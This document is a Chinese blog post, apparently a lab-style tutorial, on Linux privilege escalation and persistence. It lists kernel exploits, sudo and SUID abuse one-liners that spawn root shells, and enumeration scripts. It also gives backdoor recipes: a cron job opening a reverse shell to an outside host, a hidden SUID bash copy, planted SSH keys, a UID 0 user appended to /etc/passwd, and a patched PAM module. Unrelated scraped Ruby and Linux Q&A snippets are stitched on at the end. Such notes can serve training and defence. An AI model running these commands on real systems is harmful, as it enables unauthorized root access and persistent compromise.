草庐IT

13.Linux权限提升与维持

candada 2023-03-28 原文

Linux权限提升与维持

Linux权限提升(Privilege Escalation)

1、内核漏洞提权

Linux内核版本:

https://www.kernel.org

CVE内核漏洞:

https://www.cvedetails.com/product/47/Linux-Linux-Kernel.html?vendor_id=33

2、内核漏洞

Dirty COW (CVE-2016-5195)

Dirty Pipe (CVE-2022-0847)

Dirty Cred (CVE-2022-2588)

Linux Polkit (CVE-2021-4034)

Linux查看发行版本和内核版本:

命令:uname -a (查看centos内核版本)

用kali中的msfconsole版本漏洞查询

例子:searchsploit ubuntu 16.04

用find / -name "xxx"找文件

例子:find / -name "40871.c"

2、SUDO提权

SUDO=Super User Do(以root身份运行程序)

配置文件:/etc/sudoers

编辑方法(root):visudo

用户或用户组 提权到什么级别

​ wuya ALL = (root) NOPASSWD:/bin/chown,/usr/sbin/useradd

​ 在哪些主机上 是否需要输入密码

创建一个组:groupadd security

在security组中创建一个用户:useradd -g security yyy

给yyy用户设置密码:passwd yyy

用户文件:/etc/passwd

密码文件:/etc/shadow

给yyy用户授权:visudo里面去添加yyy ALL=ALL ALL

yyy用户需要用sudo加命令才能执行

提权命令:

查看当前用户有哪些sudo权限:sudo -l

SUDO使用:

(1)sudo passwd root

(2)sudo service ssh restart

相关命令:

wget、find、cat、apt、zip、xxd、time、taskset、git、sed、pip、ed、tmux、scp、perl、bash、less、awk、man、vi、env、ftp

(1)sudo find /home -exec /bin/bash ;注意bash后面有一个空格

(2)sudo awk 'BEGIN{system("/bin/bash")}'

3、SUID提权

SUID=Set UID

(以程序所有者身份运行程序)

例如:普通用户怎么修改/etc/shadow中的密码?

因为/usr/bin/passwd文件有s权限。而拥有s权限的文件任何用户都可以以文件所有者身份运行程序。

给文件加s权限的代码:chmod u+s /usr/bin/find

find 1.txt -exec whoami ;

sudo find . -exec /bin/sh ;

常见的SUID提权文件:

nmap、vim、find、more、less、bash、cp、nano、mv、awk、man、weget

搜索有s权限的程序(不同平台):

find / -perm -u=s -type f 2>/dev/null

find / -user root -perm -4000 -print 2>/dev/null

find / -user root -perm -4000 -exec ls -ldb {} ;

3、第三方服务提权

Redis、NFS、MySQL、Docker、Git....

4、提权辅助脚本

Linux-exploit-suggester

https://github.com/mzet-/linux-exploit-suggester

chmod +x linux-exploit-suggester.sh

./linux-exploit-suggester.sh

https://github.com/jondonas/linux-exploit-suggester-2

chmod +x linux-exploit-suggester-2.pl

perl linux-exploit-suggester-2.pl

LinEnum

https://github.com/rebootuser/LinEnum

chmod +x /tmp/linEnum.sh

sh /tmp/LinEnum.sh > /tmp/getinfo.txt

Linux权限维持

1、在电脑上保留webshell以便以后连接
2、定时任务

​ crontab -e 打开定时任务文件bash

​ crontab -u root -r 删除

​ crontab -u root -l 查看

​ crontab -u root -e 修改

测试

kali中监听7777端口:nc -lvvp 7777

CentOS写入任务:

* * * * * bash -i >& /dev/tcp/192.168.142.132/7777 0>&1
3、SUID后门

root用户:

cp /bin/bash /var/.hack

chmod 4775 /var/.hack

ls -al /var/.hack

普通用户:

/var/.hack -p

4、SSH Key免密登录

生成和查看(kali攻击机):

ssh-keygen -t rsa

cd /root/.ssh

cat id_rsa.pub

写入(CentOS服务机):

vim /root/.ssh/authorized_keys

kali连接CentOS:

ssh root@192.168.142.201

5、添加用户

生成密码:

openssl passwd -1 -salt admin 123456

-1的意思是使用md5crypt加密算法

-salt 指定盐为admin

追加(UID=0):

echo 'admin:xxx:0:0::/root:/bin/bash' >> /etc/passwd

kali连接:

ssh root@192.168.142.201

6、PAM后门(先做快照)

下载编译

rpm -qa|grep pam

wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz

tar -zxvf Linux-PAM-1.1.8.tar.gz

yum install gcc flex flex-devel -y

cd Linux-PAM-1.1.8

vim modules/pam_unix/pam_unix_auth.c

./configure

make

备份替换

cp /usr/lib64/security/pam_unix.so /usr/lib64/security/pam_unix.so.bakcp

cp modules/pam_unix/.libs/pam_unix.so /usr/lib64/security/pam_unix.so

登录测试

ssh root@192.168.142.202

7、其他后门

红队实战攻防技术分享:Linux后门总结

https://mp.weixin.qq.com/s/B5cam9QN8eDHFuaFjBD34Q

有关13.Linux权限提升与维持的更多相关文章

  1. ruby - 安装libv8(3.11.8.13)出错,Bundler无法继续 - 2

    运行bundleinstall后出现此错误:Gem::Package::FormatError:nometadatafoundin/Users/jeanosorio/.rvm/gems/ruby-1.9.3-p286/cache/libv8-3.11.8.13-x86_64-darwin-12.gemAnerroroccurredwhileinstallinglibv8(3.11.8.13),andBundlercannotcontinue.Makesurethat`geminstalllibv8-v'3.11.8.13'`succeedsbeforebundling.我试试gemin

  2. ruby - rbenv 安装权限被拒绝 - 2

    大家好,我正在尝试设置一个开发环境,并且我一直在关注以下教程:Linktotutorial我做得不是很好,除了最基本的版本控制内容外,我对终端命令没有任何实际经验。我点击了第一个链接并尝试运行source~/.bash_profile我得到了错误;mkdir:/usr/local/rbenv/shims:权限被拒绝mkdir:/usr/local/rbenv/versions:权限被拒绝现在每次我加载终端时都会出现错误。bash_profile的内容;exportPATH=/usr/local/rbenv/bin:$PATHexportRBENV_ROOT=/usr/local/rbe

  3. ruby-on-rails - 如果条件与 &&,是否有任何性能提升 - 2

    如果用户是所有者,我有一个条件来检查说删除和文章。delete_articleifuser.owner?另一种方式是user.owner?&&delete_article选择它有什么好处还是它只是一种写作风格 最佳答案 性能不太可能成为该声明的问题。第一个要好得多-它更容易阅读。您future的自己和其他将开始编写代码的人会为此感谢您。 关于ruby-on-rails-如果条件与&&,是否有任何性能提升,我们在StackOverflow上找到一个类似的问题:

  4. ruby-on-rails - gem install rmagick -v 2.13.1 错误 Failed to build gem native extension on Mac OS 10.9.1 - 2

    我已经通过提供MagickWand.h的路径尝试了一切,我安装了命令工具。谁能帮帮我?$geminstallrmagick-v2.13.1Buildingnativeextensions.Thiscouldtakeawhile...ERROR:Errorinstallingrmagick:ERROR:Failedtobuildgemnativeextension./Users/ghazanfarali/.rvm/rubies/ruby-1.8.7-p357/bin/rubyextconf.rbcheckingforRubyversion>=1.8.5...yescheckingfor/

  5. ruby-on-rails - 为什么用户必须输入 7 位数的 Twitter PIN 才能授予我的应用程序访问权限? - 2

    我正在为我的用户实现一些ruby​​onrails代码推特内容。我正在创建正确的oauth链接...类似http://twitter.com/oauth/authorize?oauth_token=y2RkuftYAEkbEuIF7zKMuzWN30O2XxM8U9j0egtzKv但在我的测试帐户授予对twitter的访问权限后,它会弹出一个页面,上面写着“您已成功授予对.我不知道用户应该在哪里输入此PIN以及他们为什么必须这样做。我认为这不是必要的步骤。Twitter应该将用户重定向到我在应用程序设置中提供的回调URL。有谁知道为什么会这样?更新我找到了thisarticle声明我需

  6. ruby - rbenv:权限被拒绝 - 2

    我正在关注Ryan的RailsCast第339集。我已经安装了rbenv并且可以运行ruby-v。我退出了我的session,当我试图返回时(通过root的sudeployer,我得到了这个错误/home/deployer/.rbenv/bin/rbenv:line20:cd:/root:Permissiondenied这是rbenv文件:#!/usr/bin/envbashset-e[-n"$RBENV_DEBUG"]&&set-xresolve_link(){$(type-pgreadlinkreadlink|head-1)"$1"}abs_dirname(){localcwd="

  7. 映宇宙2022年营收63亿元:同比下降三成,毛利率提升4.3个百分点 - 2

    3月26日,映宇宙(HK:03700,即“映客”)发布截至2022年12月31日的2022年度业绩财务报告。财报显示,映宇宙2022年的总营收为63.19亿元,较2021年同期的91.76亿元下降31.1%。2022年,映宇宙的经营亏损为4698.7万元,2021年同期则为净利润4.57亿元;期内亏损(净亏损)为1.68亿元,2021年同期的净利润为4.33亿元;非国际财务报告准则经调整净利润为3.88亿元,2021年同期为4.82亿元,同比下降19.6%。 映宇宙在财报中表示,收入减少主要是由于行业竞争加剧,该集团对旗下产品采取更为谨慎的运营策略以应对市场变化。不过,映宇宙的毛利率则有所提升

  8. 【Linux操作系统】——网络配置与SSH远程 - 2

    Linux操作系统——网络配置与SSH远程安装完VMware与系统后,需要进行网络配置。第一个目标为进行SSH连接,可以从本机到VMware进行文件传送,首先需要进行网络配置。1.下载远程软件首先需要先下载安装一款远程软件:FinalShell或者xhell7FinalShellxhell7FinalShell下载:Windows下载http://www.hostbuf.com/downloads/finalshell_install.exemacOS下载http://www.hostbuf.com/downloads/finalshell_install.pkg2.配置CentOS网络安装好

  9. Linux磁盘分区中物理卷(PV)、卷组(VG)、逻辑卷(LV)创建和(LVM)管理 - 2

    文章目录一基础定义二创建逻辑卷2-1准备物理设备2-2创建物理卷2-3创建卷组2-4创建逻辑卷2-5创建文件系统并挂载文件三扩展卷组和缩减卷组3-1准备物理设备3-2创建物理卷3-3扩展卷组3-4查看卷组的详细信息以验证3-5缩减卷组四扩展逻辑卷4-1检查卷组是否有可用的空间4-2扩展逻辑卷4-3扩展文件系统五删除逻辑卷5-1备份数据5-2卸载文件系统5-3删除逻辑卷5-4删除卷组5-5删除物理卷六LVM逻辑卷缩容6-1缩容注意事项6-2标准缩容步骤一基础定义LVM,LogicalVolumeManger,逻辑卷管理,Linux磁盘分区管理的一种机制,建立在硬盘和分区上的一个逻辑层,提高磁盘分

  10. ruby - 如何在 Ruby 中获取 linux 系统信息 - 2

    如何在Ruby中获取linux系统(这必须适用于Fedora、Ubuntu等)的软件/硬件信息? 最佳答案 Chef背后的优秀人才,拥有一颗名为Ohai的优秀gemhttps://github.com/opscode/ohai以散列形式返回系统信息,例如操作系统、内核、规范、fqdn、磁盘、空间、内存、用户、接口(interface)、sshkey等。它非常完整,非常好。它还会安装命令行二进制文件(也称为ohai)。 关于ruby-如何在Ruby中获取linux系统信息,我们在Stack

随机推荐